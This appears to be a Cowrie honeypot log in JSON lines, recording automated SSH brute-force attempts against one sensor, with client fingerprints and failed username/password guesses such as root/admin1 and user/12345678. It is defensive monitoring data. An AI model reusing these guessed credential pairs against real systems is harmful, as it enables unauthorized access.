{"eventid":"cowrie.session.closed","duration":35.78008794784546,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:19.818028Z","src_ip":"192.119.13.58","session":"a215e4b117ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:19.840687Z","src_ip":"192.109.200.237","session":"74645d7d8d53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43176,"dst_ip":"159.203.135.109","dst_port":22,"session":"f29ae1ee7d4b","protocol":"ssh","message":"New connection: 192.109.200.237:43176 (159.203.135.109:22) [session: f29ae1ee7d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:21.546005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:21.552573Z","src_ip":"192.109.200.237","session":"f29ae1ee7d4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:21.640780Z","src_ip":"192.109.200.237","session":"f29ae1ee7d4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:21.889622Z","src_ip":"192.109.200.237","session":"f29ae1ee7d4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:23.050725Z","src_ip":"192.109.200.237","session":"f29ae1ee7d4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a022471f125a","protocol":"ssh","message":"New connection: 192.109.200.237:43184 (159.203.135.109:22) [session: a022471f125a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:24.702898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:24.707721Z","src_ip":"192.109.200.237","session":"a022471f125a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:24.793364Z","src_ip":"192.109.200.237","session":"a022471f125a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:25.042927Z","src_ip":"192.109.200.237","session":"a022471f125a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:26.129238Z","src_ip":"192.109.200.237","session":"a022471f125a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43194,"dst_ip":"159.203.135.109","dst_port":22,"session":"72c54dcd2ce5","protocol":"ssh","message":"New connection: 192.109.200.237:43194 (159.203.135.109:22) [session: 72c54dcd2ce5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:27.839832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:27.845862Z","src_ip":"192.109.200.237","session":"72c54dcd2ce5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:27.929035Z","src_ip":"192.109.200.237","session":"72c54dcd2ce5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:28.177281Z","src_ip":"192.109.200.237","session":"72c54dcd2ce5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:29.263054Z","src_ip":"192.109.200.237","session":"72c54dcd2ce5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37906,"dst_ip":"159.203.135.109","dst_port":22,"session":"64f5a439498b","protocol":"ssh","message":"New connection: 192.109.200.237:37906 (159.203.135.109:22) [session: 64f5a439498b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:30.988866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:31.053730Z","src_ip":"192.109.200.237","session":"64f5a439498b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:31.082651Z","src_ip":"192.109.200.237","session":"64f5a439498b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:31.391233Z","src_ip":"192.109.200.237","session":"64f5a439498b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:32.475603Z","src_ip":"192.109.200.237","session":"64f5a439498b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37912,"dst_ip":"159.203.135.109","dst_port":22,"session":"594ab0427a34","protocol":"ssh","message":"New connection: 192.109.200.237:37912 (159.203.135.109:22) [session: 594ab0427a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:34.351510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:34.356134Z","src_ip":"192.109.200.237","session":"594ab0427a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:34.438888Z","src_ip":"192.109.200.237","session":"594ab0427a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:34.686837Z","src_ip":"192.109.200.237","session":"594ab0427a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:35.773226Z","src_ip":"192.109.200.237","session":"594ab0427a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37920,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa23fe7ff774","protocol":"ssh","message":"New connection: 192.109.200.237:37920 (159.203.135.109:22) [session: aa23fe7ff774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:37.462070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:37.467437Z","src_ip":"192.109.200.237","session":"aa23fe7ff774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:37.549608Z","src_ip":"192.109.200.237","session":"aa23fe7ff774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:37.803778Z","src_ip":"192.109.200.237","session":"aa23fe7ff774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:38.889266Z","src_ip":"192.109.200.237","session":"aa23fe7ff774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60242,"dst_ip":"159.203.135.109","dst_port":22,"session":"a14f75c5a604","protocol":"ssh","message":"New connection: 80.94.92.184:60242 (159.203.135.109:22) [session: a14f75c5a604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:39.486226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:39.658144Z","src_ip":"80.94.92.184","session":"a14f75c5a604","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:39.661777Z","src_ip":"80.94.92.184","session":"a14f75c5a604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35462,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff27de24ea39","protocol":"ssh","message":"New connection: 192.109.200.237:35462 (159.203.135.109:22) [session: ff27de24ea39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:40.629077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:40.634079Z","src_ip":"192.109.200.237","session":"ff27de24ea39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:40.715990Z","src_ip":"192.109.200.237","session":"ff27de24ea39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:40.728332Z","src_ip":"80.94.92.184","session":"a14f75c5a604","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:40.963458Z","src_ip":"192.109.200.237","session":"ff27de24ea39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:41.930418Z","src_ip":"80.94.92.184","session":"a14f75c5a604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:42.136952Z","src_ip":"192.109.200.237","session":"ff27de24ea39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35464,"dst_ip":"159.203.135.109","dst_port":22,"session":"e87efd1d03e1","protocol":"ssh","message":"New connection: 192.109.200.237:35464 (159.203.135.109:22) [session: e87efd1d03e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:43.781337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:10:43.785131Z","src_ip":"192.109.200.237","session":"e87efd1d03e1","protocol":"ssh"}
